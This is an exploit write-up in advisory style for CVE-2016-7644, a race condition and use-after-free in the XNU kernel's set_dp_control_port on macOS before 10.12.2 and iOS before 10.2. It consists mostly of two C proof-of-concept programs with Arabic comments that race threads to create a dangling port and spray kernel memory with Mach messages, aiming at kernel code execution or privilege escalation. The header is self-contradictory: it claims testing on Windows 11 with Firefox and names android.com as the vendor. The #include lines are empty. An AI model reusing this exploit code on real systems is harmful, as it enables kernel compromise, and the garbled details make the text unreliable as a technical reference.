============================================================================================================================================= | # Title : macOS 10.12.2 XNU kernel Race Condition | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.android.com | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212493/ & CVE-2016-7644 [+] Summary : This report analyzes the race condition observed in the set_dp_control_port function within XNU kernel versions prior to macOS 10.12.2 and iOS 10.2. [+] The vulnerability exists in the XNU kernel (iOS/macOS) in the `set_dp_control_port` function. The issue is the lack of locking when the dynamic_pager_control_port pointer is updated, leading to: A race condition between two threads The possibility of double release of the port reference Use-after-free access [+] POC : #include #include #include #include #include #include #define THREAD_COUNT 32 #define ATTEMPTS 1000 mach_port_t global_port = MACH_PORT_NULL; int start_race = 0; // خيط يقوم باستدعاء set_dp_control_port بشكل متكرر void* race_thread(void* arg) { while (!start_race) { ; } // انتظار بدء السباق mach_port_t local_port = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &local_port); mach_port_insert_right(mach_task_self(), local_port, local_port, MACH_MSG_TYPE_MAKE_SEND); for (int i = 0; i < 100; i++) { set_dp_control_port(mach_host_self(), local_port); } return NULL; } // خيط لمراقبة واستغلال الحالة void* exploit_thread(void* arg) { while (!start_race) { ; } for (int i = 0; i < 100; i++) { // محاولة الوصول إلى المنفذ بعد تحريره mach_port_t probe_port = MACH_PORT_NULL; kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &probe_port); if (kr != KERN_SUCCESS) { printf("[!] Failed to allocate port - possible corruption\n"); } // استخدام منفذات مختلفة لمحاولة إعادة استخدام الذاكرة المحررة set_dp_control_port(mach_host_self(), probe_port); usleep(1000); // تأخير صغير لزيادة فرص السباق } return NULL; } int main() { printf("[+] Starting exploitation of CVE-2016-7644\n"); // الخطوة 1: إنشاء المنفذ الأولي kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &global_port); if (kr != KERN_SUCCESS) { printf("[-] Failed to allocate initial port\n"); return 1; } kr = mach_port_insert_right(mach_task_self(), global_port, global_port, MACH_MSG_TYPE_MAKE_SEND); if (kr != KERN_SUCCESS) { printf("[-] Failed to insert port right\n"); return 1; } // الخطوة 2: تعيين المنفذ الأولي printf("[+] Setting initial dynamic_pager_control_port\n"); kr = set_dp_control_port(mach_host_self(), global_port); if (kr != KERN_SUCCESS) { printf("[-] Initial set failed: %s\n", mach_error_string(kr)); return 1; } // الخطوة 3: تحرير المنفذ من userland (يبقى مرجع في kernel فقط) printf("[+] Releasing userland reference (kernel holds one ref)\n"); mach_port_destroy(mach_task_self(), global_port); // الخطوة 4: إنشاء خيوط لتنفيذ الهجوم pthread_t threads[THREAD_COUNT]; printf("[+] Creating %d racing threads\n", THREAD_COUNT); for (int i = 0; i < THREAD_COUNT; i++) { if (i % 2 == 0) { pthread_create(&threads[i], NULL, race_thread, NULL); } else { pthread_create(&threads[i], NULL, exploit_thread, NULL); } } // الخطوة 5: بدء السباق printf("[+] Starting race condition...\n"); start_race = 1; // الانتظار حتى تنتهي الخيوط for (int i = 0; i < THREAD_COUNT; i++) { pthread_join(threads[i], NULL); } printf("[+] Race completed. Attempting to trigger UaF...\n"); // الخطوة 6: محاولة استغلال dangling pointer for (int attempt = 0; attempt < ATTEMPTS; attempt++) { mach_port_t new_port = MACH_PORT_NULL; kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &new_port); if (kr == KERN_SUCCESS) { kr = mach_port_insert_right(mach_task_self(), new_port, new_port, MACH_MSG_TYPE_MAKE_SEND); // محاولة تعيين منفذ جديد في الموقع المحرر kr = set_dp_control_port(mach_host_self(), new_port); if (kr != KERN_SUCCESS) { printf("[!] Attempt %d: set_dp_control_port failed: %s\n", attempt, mach_error_string(kr)); } // إرسال رسالة للمساعدة في كشف أي تحطم mach_msg_header_t msg = {0}; msg.msgh_remote_port = new_port; msg.msgh_size = sizeof(msg); kr = mach_msg(&msg, MACH_SEND_MSG, msg.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); } if (attempt % 100 == 0) { printf("[.] Progress: %d/%d attempts\n", attempt, ATTEMPTS); } } printf("[+] Exploitation attempt finished\n"); printf("[+] Check kernel logs for crashes (panic logs)\n"); return 0; } ================ Vulnerability type: Use-After-Free (UaF) in the XNU kernel's set_dp_control_port function. Basic idea: Creating a dangling port in the kernel, then attempting to reuse it to exploit the freed memory, which could lead to: Arbitrary kernel instruction execution. A system crash (kernel panic). In some cases, user privilege escalation if linked to a full exploit. POC : #include #include #include #include #include #include #include #define THREAD_COUNT 32 #define PORT_COUNT 1024 #define ATTEMPTS 1000 int start_race = 0; int stop_threads = 0; mach_port_t spray_ports[PORT_COUNT]; // وظيفة yield لزيادة فرص السباق void yield_thread() { sched_yield(); // يعطي فرصة للخيوط الأخرى للتشغيل usleep(10); // تأخير بسيط } // خيط السباق الرئيسي void* trigger_race(void* arg) { mach_port_t port = (mach_port_t)(uintptr_t)arg; while (!start_race) { ; } // انتظار إشارة البدء // إجراء السباق مع yield for (int i = 0; i < 50; i++) { set_dp_control_port(mach_host_self(), port); yield_thread(); // زيادة فرص التداخل } return NULL; } // إنشاء dangling port void create_dangling_port() { mach_port_t port = MACH_PORT_NULL; // إنشاء port مع multiple references kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (kr != KERN_SUCCESS) { printf("[-] Failed to allocate port\n"); return; } // إضافة حقين send ليكون لدينا مرجعان kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (kr != KERN_SUCCESS) { printf("[-] Failed first insert\n"); return; } kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (kr != KERN_SUCCESS) { printf("[-] Failed second insert\n"); return; } // تعيينه كـ dynamic_pager_control_port printf("[+] Setting as dynamic_pager_control_port\n"); kr = set_dp_control_port(mach_host_self(), port); if (kr != KERN_SUCCESS) { printf("[-] Failed to set: %s\n", mach_error_string(kr)); return; } // الآن النواة تحتفظ بمرجع واحد، ونحن لدينا مرجعان // تحرير مرجع userland (يبقى مرجعان: واحد في kernel وواحد لدينا) printf("[+] Releasing one userland reference\n"); mach_port_deallocate(mach_task_self(), port); // بدء السباق مع خيطين printf("[+] Starting race threads\n"); start_race = 0; pthread_t t1, t2; pthread_create(&t1, NULL, trigger_race, (void*)(uintptr_t)port); pthread_create(&t2, NULL, trigger_race, (void*)(uintptr_t)port); // إعطاء الوقت للخيوط للاستعداد usleep(1000); // بدء السباق start_race = 1; // الانتظار حتى تنتهي الخيوط pthread_join(t1, NULL); pthread_join(t2, NULL); printf("[+] Race completed. Port may be dangling now\n"); // هنا port أصبح dangling (مؤشر متدلي) // kernel قد حررت الـ port مرتين بينما كان هناك مرجع واحد فقط } // رش kernel memory void spray_kernel_memory() { printf("[+] Spraying kernel memory with %d ports\n", PORT_COUNT); // إنشاء منافذ للرش for (int i = 0; i < PORT_COUNT; i++) { kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &spray_ports[i]); if (kr != KERN_SUCCESS) { printf("[!] Failed to allocate spray port %d\n", i); continue; } kr = mach_port_insert_right(mach_task_self(), spray_ports[i], spray_ports[i], MACH_MSG_TYPE_MAKE_SEND); if (kr != KERN_SUCCESS) { printf("[!] Failed to insert right for port %d\n", i); } // إرسال رسائل لملء kernel memory struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t port_descriptors[4]; } msg; msg.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); msg.header.msgh_size = sizeof(msg); msg.header.msgh_remote_port = spray_ports[i]; msg.header.msgh_local_port = MACH_PORT_NULL; msg.body.msgh_descriptor_count = 4; // ملء واصف المنافذ for (int j = 0; j < 4; j++) { msg.port_descriptors[j].name = spray_ports[(i + j) % PORT_COUNT]; msg.port_descriptors[j].disposition = MACH_MSG_TYPE_COPY_SEND; msg.port_descriptors[j].type = MACH_MSG_PORT_DESCRIPTOR; } kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if ((i + 1) % 100 == 0) { printf("[.] Sprayed %d/%d ports\n", i + 1, PORT_COUNT); } } printf("[+] Memory spray completed\n"); } // خيط لاختبار استخدام المنفذ المعلق void* use_dangling_port(void* arg) { mach_port_t port = (mach_port_t)(uintptr_t)arg; while (!stop_threads) { // محاولة استخدام المنفذ المعلق mach_port_context_t context = 0; kern_return_t kr = mach_port_get_context(mach_task_self(), port, &context); if (kr != KERN_SUCCESS) { // المنفذ قد يكون تحرر printf("[!] Failed to get context (port may be freed)\n"); break; } // محاولة تعيين سياق جديد kr = mach_port_set_context(mach_task_self(), port, (mach_port_context_t)0x4141414142424242); yield_thread(); } return NULL; } int main() { printf("[+] Exploit for CVE-2016-7644 - XNU set_dp_control_port race condition\n"); printf("[+] Target: macOS/iOS <= 10.12.1/10.1.1\n"); // المرحلة 1: إنشاء dangling port printf("\n=== Phase 1: Creating dangling port ===\n"); create_dangling_port(); // المرحلة 2: رش الذاكرة printf("\n=== Phase 2: Memory spraying ===\n"); spray_kernel_memory(); // المرحلة 3: محاولة الاستغلال printf("\n=== Phase 3: Attempting exploitation ===\n"); // إنشاء عدة خيوط لمحاولة استخدام المنفذ المعلق pthread_t exploit_threads[4]; mach_port_t test_port = MACH_PORT_NULL; // إنشاء منفذ جديد في نفس المنطقة mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &test_port); mach_port_insert_right(mach_task_self(), test_port, test_port, MACH_MSG_TYPE_MAKE_SEND); for (int i = 0; i < 4; i++) { pthread_create(&exploit_threads[i], NULL, use_dangling_port, (void*)(uintptr_t)test_port); } // السماح للخيوط بالعمل لبعض الوقت sleep(2); // إيقاف الخيوط stop_threads = 1; for (int i = 0; i < 4; i++) { pthread_join(exploit_threads[i], NULL); } // المرحلة 4: اختبار الاستقرار printf("\n=== Phase 4: Testing stability ===\n"); mach_port_t final_port = MACH_PORT_NULL; kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &final_port); if (kr != KERN_SUCCESS) { printf("[!] Kernel may be unstable/crashed\n"); } else { printf("[+] Kernel seems stable\n"); // محاولة نهائية لاستدعاء set_dp_control_port kr = set_dp_control_port(mach_host_self(), final_port); if (kr == KERN_SUCCESS) { printf("[+] Successfully called set_dp_control_port\n"); } else { printf("[!] Failed: %s\n", mach_error_string(kr)); } } // التنظيف for (int i = 0; i < PORT_COUNT; i++) { if (MACH_PORT_VALID(spray_ports[i])) { mach_port_destroy(mach_task_self(), spray_ports[i]); } } printf("\n[+] Exploitation attempt completed\n"); printf("[!] Note: This exploit may cause kernel panic if successful\n"); printf("[!] Check console logs for kernel crash reports\n"); return 0; } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================